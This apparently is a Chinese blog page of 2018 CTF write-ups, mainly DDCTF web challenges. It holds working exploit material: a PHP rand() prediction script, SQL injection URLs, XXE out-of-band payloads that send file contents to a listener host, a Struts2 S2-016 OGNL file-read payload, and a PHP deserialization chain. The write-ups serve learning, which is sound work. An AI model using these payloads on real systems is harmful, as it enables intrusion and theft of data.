[随手记]记一次线上AWD的网络配置

前言

  线下的AWD往往需要线上预选,而且频率也比较少,有空时可以玩玩线上的AWD模式,但涉及的一个问题就是虚拟组网,这篇主要记录下faustctf的线上AWD网络设置。

RCTF2018 writeup1

前言

  CTFer是不存在周末的,更不存在520….

RCTF2018 web writeup

前言

  作为web狗饱受打击的一个比赛,0解题。任重而道远!

DDCTF2018 2道web writeup

我的博客

提示:www.tar.gz

  根据提示能找到网站备份文件,下载后只有三个文件,从代码上并没有发现什么漏洞,而我们的目标是注册一个标志位是admin的账号,其本身存在的admin是个弱密码,但这个账号并没有admin的标志位,所以我们只能自己想办法注册一个。首先看看注册部分关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}

$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);

if ($sth->fetch() !== false) {
die('username has been registered');
}

if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
....

  可以看到我们只有让我们post的$code$admin的值相等才能通过验证,而$admin的值又是经过str_shuffle随机打乱的32个字符。而str_shuffle的源码如下:




  可以看到它使用了rand()作为随机数产生器,从而打乱字符顺序,而rand()产生的并不是真的随机数而是个伪随机数。我们可以通过下面的公式去预测第32位以后的随机数。
1
2
PHP_RAND_MAX = 2147483647
num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

  当我们知道了生成的随机数我们就能预测出str_shuffle打乱的结果,最终在这道题中注册一个admin权限的账号。下面是payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-

import requests
from bs4 import BeautifulSoup

PHP_RAND_MAX = 2147483647
url = 'http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
sess = requests.session()
# num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

def RAND_RANGE(__n, __min, __max, __tmax):
return (__min) + int(((__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
# 仿照PHP版的shuffle
def shuffle(strs, tokens):
lens = len(strs)
strs = list(strs)
n_left = lens
i = 0
while (n_left > 0):
n_left -= 1
rnd_idx = tokens[i]
i += 1
rnd_idx = RAND_RANGE(rnd_idx, 0 ,n_left, PHP_RAND_MAX)
if (rnd_idx != n_left):
strs[rnd_idx], strs[n_left] = strs[n_left], strs[rnd_idx]
return ''.join(strs)


num = []
for i in range(32):
html = sess.get(url)
context = html.content
soup = BeautifulSoup(context, 'lxml')
csrf = soup.select('#csrf')[0].get('value')
if i == 31:
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
if tmp == int(csrf):
print('预测成功!')
else:
print('预测失败!')
exit(1)
num.append(int(csrf))

# 预测后面 62个
tokens = []
for i in range(32,94):
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
num.append(int(tmp))
tokens.append(int(tmp))


strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
code = shuffle(strs, tokens)[:32]
code = 'admin###' + code

print('预测code: ' + code)
print('预测csrf: ' + str(num[31]))

data = {
# 在访问第33次的时候CSRF应该是上一次的CSRF,也就是第32次,注意这里是从0开始
'csrf':num[31],
'username':'junay',
'password':'123',
'code':code
}

html = sess.post(url, data)
print(html.content)

  上面的程序预测的时候有可能存在1/-1的误差,如果出现预测失败重新运行几次即可。

  有了账号后,我们就能登录,然后审计登录后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// index.php 截取关键代码
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}

  这个代码中使用了存在漏洞的sprintf函数,我们可以通过格式化漏洞绕过addslashes。在格式化的时候sprintf支持填充,我们可以使用%1$'绕过反斜杠。




  所以我们的payload就是:
1
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome%1$' union select 1,f14g,3 from `key` limit 0,1 -- +

喝杯Java冷静下

  首先能在源代码中找到账号密码:




1
2
// 解开后
admin: admin_password_2333_caicaikan

  使用这个账号密码我们能登录进后台,在后台里我们可以发现一个文件下载的漏洞。

1
2
// url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt

  按照上次Java web的题目,我们开始找配置文件,比如:web.xml、applicationContext.xml等,但当我们找class文件时,却没有收获,但是匹配文件中的包名给我思路。




  在GitHub上搜了一下,果然找到了这个框架。地址:quick4j。然后按照这个项目的路径我们就能找到关键的类,最终能找到的文件差不多如下:




  标注的文件是控制文件,也是我们需要关注的文件,其内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.eliteams.quick4j.web.controller;
// 删除了导入包

@Controller
@RequestMapping({"/user"})
public class UserController
{
public static final String hintFile = "/flag/hint.txt";
@Resource
private UserService userService;

@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
{
try
{
Subject subject = SecurityUtils.getSubject();
if (subject.isAuthenticated()) {
return "redirect:/";
}
if (result.hasErrors())
{
model.addAttribute("error", "参数错误!");
return "login";
}
if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||
(user.getPassword().isEmpty()) || (user.getPassword() == null)) {
return "login";
}
subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));

User authUserInfo = this.userService.selectByUsername(user.getUsername());
request.getSession().setAttribute("userInfo", authUserInfo);
}
catch (AuthenticationException e)
{
model.addAttribute("error", "用户名或密码错误 !");
return "login";
}
return "redirect:/";
}

@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String logout(HttpSession session)
{
session.removeAttribute("userInfo");

Subject subject = SecurityUtils.getSubject();
subject.logout();
return "login";
}

@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"admin"})
public String admin()
{
return "拥有admin角色,能访问";
}

@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresPermissions({"user:create"})
public String create()
{
return "拥有user:create权限,能访问";
}

@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"guest"})
public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
throws IOException
{
if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
return null;
}
String path = request.getServletContext().getRealPath("/");
System.out.println(path);

File file = new File(path + File.separator + filename);
HttpHeaders headers = new HttpHeaders();

String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");

headers.setContentDispositionFormData("attachment", downloadFielName);

headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
}

@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);
}
catch (ParserConfigurationException e)
{
e.printStackTrace();
return "ParserConfigurationException";
}
catch (SAXException e)
{
e.printStackTrace();
return "SAXException";
}
catch (IOException e)
{
e.printStackTrace();
return "IOException";
}
return "ok~ try to read /flag/hint.txt";
}
}

  所以我们下一步就需要访问nicaicaikan_url_23333_secret,但是已经有的admin账号并不是super_admin,而且也没有注册账号的接口存在。这种情况下只能照着GitHub上的模板去翻其他文件,终于在SecurityRealm.java中找到了线索:




  这里注意到我们需要找到一个字符串的hashCode()==0,经过Google后,我们能在Stack Overflow找到一个答案:f5a5a608

  登录后并没有发现特别的功能,但是代码里已经给了我们非常明显的提示:xxe攻击,因为它自身并没有回显,所以我们需要找到一个支持xxe外带数据的方法,解决方案就是:xxe oob。我们先在自己服务器上放置evil.xml,内容如下:

1
2
3
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port/%file;'>">
%int;
%send;

  ps: 上面的port是nc监听的端口,接着构造payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  发送过去:




  我们就能在服务器上收到信息:




  根据提示我们接着构造payload:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  结果:




  再来:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>




  这时候用到了题目的提示:

提示:第二层关卡应用版本号为2.3.1

  所以我们找找Struts2 2.3.1版本的漏洞,此篇文章有较为详细的记载。

  经过多次尝试后我们能利用的漏洞版本是S2-016,接着再去找漏洞脚本,一个能用的payload如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:${#a=new java.io.FileInputStream('/flag/flag.txt'),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[60],#c.read(#d),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#matt.println(#d),#matt.flush(),#matt.close()}">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.xml">
%dtd;
%all;]>
<value>&send;</value>




  在进行复现的时候经常会出现IOException,按照其他的writeup里的payload也是如此,这也有可能是环境问题导致的。

  参考链接:

  https://impakho.com/post/ddctf-2018-writeup

  https://thief.one/2017/06/20/1/

  http://www.freebuf.com/articles/web/97833.html

  https://github.com/Eliteams/quick4j

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

2018 *CTF/starCTF Smart? Contract writeup

目录

前言

  这个题我一直想着复现,但也一直拖着,其中也有writeup难找的原因,那个*真是坑爹中的坑爹,直接被Google当成了通配符,好在跟大佬求了份writeup,终于可以学习学习。首先放出参加DDCTF2018颁奖的时候出题人放的解题思路:




  从这个PPT里我们也能一窥解题的思路,我们还是先从理论基础知识讲起。

2018 广东省红帽杯redhat writeup

前言

  这次省红帽杯的WEB部分大体不难(除去一道没人做出来的),但是对于比赛经验不丰富的选手来说,难点主要是在对题型的把控上,只要get到点,后面的操作基本没问题。自己从这次比赛中也学到了很多东西,任重道远啊。

2018 国赛ciscn writeup

前言

  不想吐槽了,谁做谁知道,这篇文章只是记录下一些tips

2018 DDCTF mini blockchain(区块链) writeup

mini blockchain(区块链)

  滴滴的这道blockchain真的让人耳目一新,同时感觉也预兆了以后区块链技术出现在CTF上可能会成为一个常态,所以非常有必要去认真的了解一下这个东西。以下关于区块链的表述仅以我两天的学习结果,,,所以路过的大佬发现有表述不对的地方,劳烦指正。

2018 DDCTF 杂项 writeup

前言

  今年的DDCTF玩的非常充实,7天的时间里基本每天都在学习新东西,整个Writeup会按题目类型进行分类。

2018 DDCTF web 注入的奥妙 writeup

注入的奥妙

  在网页的源码里发现了一处注释




  打开后发现是BIG5编码表,所以推测是宽字节注入。




  因为页面的属性是UTF-8




  所以推测后端应该是做了类似这个:iconv('utf-8','BIG5',$_GET['id'])的转换。又因为'会被转义,变成\',所以我们考虑找一个BIG5编码后最后一位是5C的字符,这样查询时就变成\\'\的作用取消掉。然后我们可以在字符查询网站找一下,传送门

  这是随便找的一个,当然,还有很多个符合条件的字。




  然后成功拿到POC




  而且还是报错注入,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:
1
http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- +

  具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
database  --->  sqli

table ---> message
id
name
contents

route_rules
id
pattern
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
action
Well#getmessage
JustTry#self
JustTry#try
static/bootstrap/css/backup.zip
rulepass
cd4229e671a8830debfcbb049a23399c
5ed16f9c7c27cb846eaf15c19fe40093
3228ad498d5a20d1d22d6a4a15fed4d2

  很明显有一个备份文件,又是源码泄露。下载下来慢慢审计。

  首先这是php的mvc设计模式,由Router.php负责分发,然后在Justtry类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西:序列化与反序列化,所以一个清晰地念头就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Justtry extends Base
{
private $white = array('test', 'well','base','justtry');
public $flag;
public function __construct()
{
parent::__construct();
}

public function self($a='')
{
if (!in_array(strtolower($a), $this->white)) {
exit('类不存在');
}

$res=$this->ref->getclassall($a);

if (isset($res)) {
echo $res;
}
}

public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

public function send()
{ //省略
}
}

  我们可以发现允许序列化的类只有:Flag、SQL、Test,所以我们重点关注一下这三个类,寻找获取flag的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Test.php
<?php
class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}

public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{ // 省略
}

public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
// 需要知道id
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}

  可以看到Test类的__destruct()调用了getflag(),所以推测这是我们序列化的入口。而它里面调用的get($user)方法是属于Flag类的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Flag.php
<?php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{

$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}

  截取SQL类的FlagGet()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];

$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);

return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}

  到这,我们可以初步确定Test类中的$fl属性的值为Flag类,但$user_uuid的值我们还不能确定,所以,我们来找找这个值。

  在UUID.php里我们可以发现关于uuid的定义,它的形式如下:




  看到上面的形式然后再看看我们的url里面的4eaee5db-2304-4d6d-aa9c-962051d99a41,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace Index\Helper;
class SQL
{
public $dbc;
public $pdo;
public function __construct()
{

}
}

class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
}

class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

}
$a = new Test;
$a->fl = new Flag;
$a->user_uuid = '4eaee5db-2304-4d6d-aa9c-962051d99a41';
$b = serialize($a);
echo $b;
?>

  注意:一定不要忘记namespace Index\Helper,不然服务器序列化失败。

  我们将得到的序列化结果先进行url encode一下,然后再提交。




  最后flag:DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×